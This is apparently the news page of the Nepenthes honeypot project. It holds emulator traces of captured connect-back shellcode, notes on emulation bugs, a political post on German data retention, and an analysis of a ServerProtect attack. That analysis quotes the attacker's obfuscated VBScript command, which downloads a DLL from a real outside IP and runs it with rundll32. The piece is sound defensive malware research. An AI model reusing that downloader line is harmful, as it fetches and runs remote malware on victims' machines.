Nepenthes - finest collection -

Welcome to the official nepenthes website! Nepenthes is a versatile tool to collect malware. It acts passively by emulating known vulnerabilities and downloading malware trying to exploit these vulnerabilities. Interested? Check our documentation and grab your copy.

July 21st 2008

the nanny at work

This is the list of system calls from the famous linkbot connectback filetransfer shellcode. I only transfer’d some bytes so it does not get too long.

HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe90 => 
           = "ws2_32";
) = 0x71a10000;
SOCKET socket (
     int af = 2;
     int type = 1;
     int protocol = 0;
) =  3;
int connect (
     SOCKET s = 3;
     struct sockaddr_in * name = 0x0012fc80 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 6460 (port=15385);
             struct in_addr sin_addr = {
                 unsigned long s_addr = -19321026 (host=62.47.217.254);
             };
             char sin_zero = "       ";
         };
     int namelen = 16;
) =  0;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fc90 => 
         none;
     int len = 512;
     int flags = 0;
) =  512;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fa58 => 
           = "ws2_32";
) = 0x71a10000;
int send (
     SOCKET s = 3;
     const char * buf = 0x0012fc60 => 
           = ".binary." (4 bytes);
     int len = 4;
     int flags = 0;
) =  4;
HANDLE CreateFile (
     LPCTSTR lpFileName = 0x0012fd38 => 
           = "iplf.exe";
     DWORD dwDesiredAccess = -1073741824;
     DWORD dwShareMode = 0;
     LPSECURITY_ATTRIBUTES lpSecurityAttributes = 0x00000000 => 
         none;
     DWORD dwCreationDisposition = 1;
     DWORD dwFlagsAndAttributes = 2;
     HANDLE hTemplateFile = 0;
) =  134989584;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fa60 => 
         none;
     int len = 512;
     int flags = 0;
) =  380;
BOOL WriteFile (
     HANDLE hFile = 134989584;
     LPCVOID lpBuffer = 0x0012fa60 => 
           = ".binary." (380 bytes);
     DWORD nNumberOfBytesToWrite = 380;
     LPDWORD lpNumberOfBytesWritten = 0x0012fc70 => 
         none;
     LPOVERLAPPED lpOverlapped = 0x00000000 => 
         none;
) =  1;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fa60 => 
         none;
     int len = 512;
     int flags = 0;
) =  0;
BOOL CloseHandle (
     HANDLE hObject = 134989584;
) =  0;
BOOL CreateProcess (
     LPCWSTR pszImageName = 0x0012fd38 => 
           = "iplf.exe";
     LPCWSTR pszCmdLine = 0x00000000 => 
           = "";
     LPSECURITY_ATTRIBUTES psaProcess = 0x00000000 => 
         none;
     LPSECURITY_ATTRIBUTES psaThread = 0x00000000 => 
         none;
     BOOL fInheritHandles = 0;
     DWORD fdwCreate = 0;
     LPVOID pvEnvironment = 0x00000000 => 
         none;
     LPWSTR pszCurDir = 0x00000000 => 
         none;
     struct LPSTARTUPINFOW psiStartInfo = 0x0012fa14 => 
         struct   = {
             DWORD cb = 68;
             LPTSTR lpReserved = 0;
             LPTSTR lpDesktop = 0;
             LPTSTR lpTitle = 0;
             DWORD dwX = 0;
             DWORD dwY = 0;
             DWORD dwXSize = 0;
             DWORD dwYSize = 0;
             DWORD dwXCountChars = 0;
             DWORD dwYCountChars = 0;
             DWORD dwFillAttribute = 0;
             DWORD dwFlags = 0;
             WORD wShowWindow = 0;
             WORD cbReserved2 = 0;
             LPBYTE lpReserved2 = 0;
             HANDLE hStdInput = 0;
             HANDLE hStdOutput = 0;
             HANDLE hStdError = 0;
         };
     struct PROCESS_INFORMATION pProcInfo = 0x0052f74c => 
         struct   = {
             HANDLE hProcess = 4711;
             HANDLE hThread = 4712;
             DWORD dwProcessId = 4713;
             DWORD dwThreadId = 4714;
         };
) =  1;
DWORD WaitForSingleObject (
     HANDLE hHandle = 4713;
     DWORD dwMilliseconds = 256;
) =  0;
BOOL CloseHandle (
     HANDLE hObject = 134989584;
) =  0;
ERROR  DeleteFile (
     LPCTSTR lpFileName = 0x0012fd38 => 
         none;
) =  -1;
int closesocket (
     SOCKET s = 3;
) =  0;
void ExitThread (
     DWORD dwExitCode = 4714;
) =  0;

Obviously the shellcode works in the wild, but nevertheless, the shellcode is buggy. After the connection streaming the file got shut down (recv() = 0), the file handle is closed (CloseHandle(134989584)), after executing the file, the file handle gets closed again (CloseHandle(134989584)).

If you fclose() a file twice on linux, the second call will segfault, as the memory access’d for the second fclose() is already free()’d. Therefore we need a nanny, verifying we do not close files twice.

I just added some nanny code to subversion to deal with it in the sctest utility. Now, the shellcode runs fine again in sctest, closing the same handle twice just gives the warning

shellcode tried to close not existing handle (maybe closed it already?)

to the console.

July 19th 2008

nepenthes & libemu

Spent some time on writing a libemu module for nepenthes last months, turned out to be rather difficult as nepenthes is a single threaded program and shellcode emulation is slow and may require creating new processes. Installing software with a broken Makefile ran rm -rf / (yes, as root) on my system, therefore this effort got lost anyway.
honeytrap is more likely to get working shellcode emulation than nepenthes, is multiple processes structure fits exactly the needs.

But even if you do not have to worry about creating (sub)processes, emulating shellcodes is not easy.
Most shellcode is written as fire&forget, if the shellcode works, be glad, if it does not work, do not care about the attacked host.

For example relying on returnvalues from system calls to create arguments on the stack, without verification.
In this case, the shellcode relied on the returnvalue of connect, and used it to create the length parameter for the recv syscall.

HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe90 => 
           = "ws2_32";
) = 0x71a10000;
SOCKET socket (
     int af = 2;
     int type = 1;
     int protocol = 0;
) =  3;
int connect (
     SOCKET s = 3;
     struct sockaddr_in * name = 0x0012fc80 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 6460 (port=15385);
             struct in_addr sin_addr = {
                 unsigned long s_addr = removed (host=removed);
             };
             char sin_zero = "       ";
         };
     int namelen = 16;
) =  -1;
int recv (
     SOCKET s = 3;
     char * buf = 0x0012fc90 => 
         none;
     int len = -64769;
     int flags = -1;
) =  -1;

If the connect failed, recv got called with a negative signed value (-64769) for the buffer size and the flags (-1).

In other cases, shellcode misbehaves, for example it tries to connect the attacker forever - if the host is unreachable.

while ( connect(...) );

Not to mention shellcode is very hard to write and as error prone any other software, but once it works, it gets deployed.

This shellcode wants to connect() to a remotehost, but the namelen parameter is incorrect.

int connect (
     SOCKET s = 3;
     struct sockaddr_in * name = 0x0041728a => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 7470 (port=11805);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 1982129222 (host=70.228.36.118);
             };
             char sin_zero = "       ";
         };
     int namelen = 4289293;
) =  0;

Looking at the assembly reveals the problem is a typo

lea edx,[ebx+0x17f]
mov byte [edx],0x16
push edx              ; push namelen
lea edx,[ebx+0xfc]
mov word [edx],0x2    
mov di,[ebx+0x8]
mov [edx+0x2],di
mov edi,[ebx+0x4]
mov [edx+0x4],edi
push edx              ; push sockaddr *
mov eax,[ebx+0xf8]
push eax              ; push socket
call ds:[ebx+0x49]    ; call connect(socket,  sockaddr *,  namelen)

As only the namelen is wrong, we can focus on the first lines.

mov byte [edx],0x16
push edx              ; push namelen

This code stores 0×16 at memory address [edx], and pushes the memory address on the stack, instead of the value 0×16, which would be the appropriate value for namelen on win32.
Unfortunately this code works, at least on windows, else the worm (in this case the shellcode is csend from agobot) would not have had that impact and media attention in the past. If you emulate it on linux, you have to sanatize the namelen argument.

Another point is, if we emulate code, we allow others to execute code on our boxes in a sandbox environment.
Even though SQLSlammer has shown it is possible to write viral shellcode, current shellcode only helps getting access to a machine for further actions, shellcode (tcp)scanning for vulnerable hosts exploiting them is possible and therefore we have to think about it.

One approach is profile the shellcode, execute it in a close sandbox, without proxying the syscalls to the host operating system, create a graph of the syscalls, measure the graph afterwards, guessing what the shellcode might want to do.
This simple finite-state graphs and a path matching scheme to determine the behavior of them shellcode approach is outlined in ShellShock: Capturing Multi-Stage Attacks in Virtual Honeypots by Ryan Smith, Adam Prigden, Braxton Thomason, Vitaly Shmatikov, but the paper is not public available.
One drawback with this approch is shellcode with more than one stage, as we can not profile the second stage, as the shellcode did not receive it in its closed sandbox.

So, whats left?
Current idea is implementing a nanny for shellcode to make sure it behaves during interactive emulation, we’ll see if it works out.

February 14th 2008

nepenthes 0.2.2 release - happy valentines day

Grab your copy from Sourceforge.

November 7th 2007

As a variety from usual news, today: german politics.

war on errorism

On friday the 9th November 2007 the german goverment will decide about new laws to protect the civilians from terror attacks. The new laws include:

  1. telecommunication service providers including mobilservice and internet have to save
    1. number of the caller and callee
    2. start & end time of any call including timezone
    3. type of service
      1. in case of mobile services
        1. international number of caller and callee
        2. imsi identification of the mobiledevices of caller and callee
        3. the radio cell for caller and callee when starting the call
        4. in case of anonymous services, service activation time, radio cell
      2. in case of voip services, the ip address
  2. same rules apply for short and multimedia message services, including the time when the messages were sent and received
  3. email service providers
    1. when sending an email, email and ip address of the sender as well as the email address of the receipent
    2. when receiving email, the ip address of the sending “device”, the senders and receivers email address
    3. on access of a email box, the ip address of the accessor
    4. timestamps for all previous mentioned points including timezones
  4. internet service providers
    1. the users ip address
    2. unique identifier of the access point
    3. the sessions start and endtime, including the timezones
  5. providers of anonymization services save each ip session
  6. providers of mobile services save the radio cells identifier to allow geographical locating

for six months

In short, all communication signatures get stored for half a year, because everybody is a suspect, a potential terrorist, the goverment has to keep track of.

TL;DR

As usual, once the data is available, we are talking about 40 petabytes for only one major provider, there will be requests to use it, it is expensive to record, so better use it somehow if you fail catching terrorists.
The Intellectual Property Economy would definitely love accessing the database, allowing them to sue software pirates in realtime.
You could get a call you have to pay some thousand for copyright infringement even before the damn mp3 finished.
Marketing, 100% transparent customers, the more you know about the stingy customers, the better you can promote your products.
Improve press, remove whistelblowers, you got their communication signature in your records.
Going to prison for controversy opinions gets possible again.

This surveillance act suspects every civilian of being terrorist, to protect the democracy.
Whats left of a democracy if it starts monitoring the whole population?
Even though there was no successful act of terrorism in germany during the last 20 years, terrorism won, the democracy lost when removing its cornerstone to protect itself of terrorism.

trust no government until history has proven you wrong

On the other hand, there is still no public available data which congressman is paid as a lobbyist, and congressman are on the exception list for all surveillance actions. It’s somehow part of human nature to proof power corrupts once you have it.

September 19th 2007

libemu 0.1.0 release

Click this link to enter the libemu homepage, download your copy, and enjoy the first open source shellcode detection engine using emulation.
It has been a lot of work, it took a lot of time and it is not complete yet, libemu based detection modules for honeytrap, nepenthes and snort are still todo.
In the meantime you can enjoy the great shellcode detection commandline utility sctest to detect and profile shellcodes in suspicious dumps and create graphs of it.

August 24th 2007

Trend Micro ServerProtect

The Internet Stormcenter recently published a call for packets and asked for a shellcode analysis. We received the dump from the incidents handler William Salusky and here is the libemu result:


the shellcodes graph

The shellcode spawns a command prompt and connects this shell to 219.150.93.35 10000.

the commands from the remote server

The server sends

cd wins & ECHO SEt P=cREAtEOBjEct("micROSOFt.xmL"^&X^&"http"):P.OpEn "gEt",wScRipt.ARgUmEntS(0),0:P.SEnd():SEt S=cREAtEOBjEct("AdOdB.S"^&X^&"tREAm"):S.mOdE=3:S.tYpE=1:S.OpEn():S.wRitE(P.RESpOnSEBOdY):S.SAvEtOFiLE wScRipt.ARgUmEntS(1),2 >lite.vbe
cmd.exe /c "cscript.exe lite.vbe http://61.129.112.73/images/menu/dnz.dll dnz.dll & rundll32 dnz.dll,ShellMain"

which gets executed by the attacked client. Removing the obfuscation, a file is downloaded from 61.129.112.73/images/menu/dnz.dll and stored as dnz.dll, which gets started by rundll32.

the downloaded file

The file is an irc bot with very bad detection rates as of the virustotal run yesterday evening:

File dnz.dll received on 08.23.2007 21:05:21 (CET) Result: 4/32 (12.5%)

Antivirus Version Last Update Result
AhnLab-V3 2007.8.22.0 2007.08.23 -
AntiVir 7.4.1.63 2007.08.23 -
Authentium 4.93.8 2007.08.23 -
Avast 4.7.1029.0 2007.08.23 -
AVG 7.5.0.484 2007.08.23 BackDoor.Ircbot.BAO
BitDefender 7.2 2007.08.23 -
CAT-QuickHeal 9.00 2007.08.23 -
ClamAV 0.91 2007.08.23 -
DrWeb 4.33 2007.08.23 -
eSafe 7.0.15.0 2007.08.23 -
eTrust-Vet 31.1.5082 2007.08.23 -
Ewido 4.0 2007.08.23 -
FileAdvisor 1 2007.08.23 -
Fortinet 2.91.0.0 2007.08.23 -
F-Prot 4.3.2.48 2007.08.23 -
F-Secure 6.70.13030.0 2007.08.23 -
Ikarus T 3.1.1.12 2007.08.23 -
Kaspersky 4.0.2.24 2007.08.23 -
McAfee 5104 2007.08.23 -
Microsoft 1.2803 2007.08.23 -
NOD32v2 2480 2007.08.23 probably a variant of Win32/IRCBot
Norman 5.80.02 2007.08.23 -
Panda 9.0.0.4 2007.08.23 -
Prevx1 V2 2007.08.23 -
Rising 19.37.32.00 2007.08.23 -
Sophos 4.20.0 2007.08.23 -
Sunbelt 2.2.907.0 2007.08.23 -
Symantec 10 2007.08.23 -
TheHacker 6.1.8.172 2007.08.23 -
VBA32 3.12.2.3 2007.08.23 suspected of Backdoor.xBot.3
VirusBuster 4.3.26:9 2007.08.23 -
Webwasher-Gateway 6.0.1 2007.08.23 Win32.Malware.gen!92 (suspicious)

Additional information File size: 24064 bytes MD5: 60cad46ccc51fefbadd1d0874c1c26d2 SHA1: 1db02d6916122cc3065b86786c2a25a5eebd1af3

the advise

Apply patches in time, always.

the nasty shellcode details

For the completeness, here are the details

cat session_8016.5168.raw2 | /opt/libemu/bin/sctest -S -g -s 100000000
-G dox.dot
graph file dox.dot
success

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:661
emu_env_w32_hook_LoadLibrayA

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:517
emu_env_w32_hook_WSAStartup
WSAStartup version 2

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:461
emu_env_w32_hook_WSASocketA
SOCKET WSASocket(af=2, type=1, protocol=0, lpProtocolInfo=0, group=0,
dwFlags=0);
socket 3

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:182
emu_env_w32_hook_connect
host 219.150.93.35 port 10000

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:134
emu_env_w32_hook_CreateProcessA

CreateProcessA
CreateProcess(pszImageName=0, pszCmdLine=22cc80, psaProcess=0,
psaThread=0, fInheritHandles=1, fdwCreate=0, pvEnvironment=0,
pszCurDir=0, psiStartInfo=22cc2c, pProcInfo=22cc70)
PROCESS_INFORMATION
{
        HANDLE hProcess=4711;
        HANDLE hThread=4712;
        DWORD dwProcessId=4713;
        DWORD dwThreadId=4714;
}
STARTUPINFO {
        DWORD cb=68;
        LPTSTR lpReserved=0x00000000;
        LPTSTR lpDesktop=0x00000000;
        LPTSTR lpTitle=0x00000000;
        DWORD dwX=0;
        DWORD dwY=0;
        DWORD dwXSize=0;
        DWORD dwYSize=0;
        DWORD dwXCountChars=0;
        DWORD dwYCountChars=0;
        DWORD dwFillAttribute=0;
        DWORD dwFlags=257;
        WORD wShowWindow=0;
        WORD cbReserved2=0;
        LPBYTE lpReserved2=0x080;
        HANDLE hStdInput=3;
        HANDLE hStdOutput=3;
        HANDLE hStdError=3;
}

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:815
emu_env_w32_hook_WaitForSingleObject
WaitForSingleObject(hHandle=17920,  dwMilliseconds=-1)

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_ws2_32_hooks.c:152
emu_env_w32_hook_closesocket

Hook me Captain Cook!
environment/win32/emu_env_w32_dll_export_kernel32_hooks.c:789
emu_env_w32_hook_SetUnhandledExceptionFilter
Exception filter 7c800000
cpu error error accessing 0x7c81cdc7 not mapped

News Archvie

Older news can be found in the news archive.

 
home.txt · Last modified: 2008/07/21 01:14
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki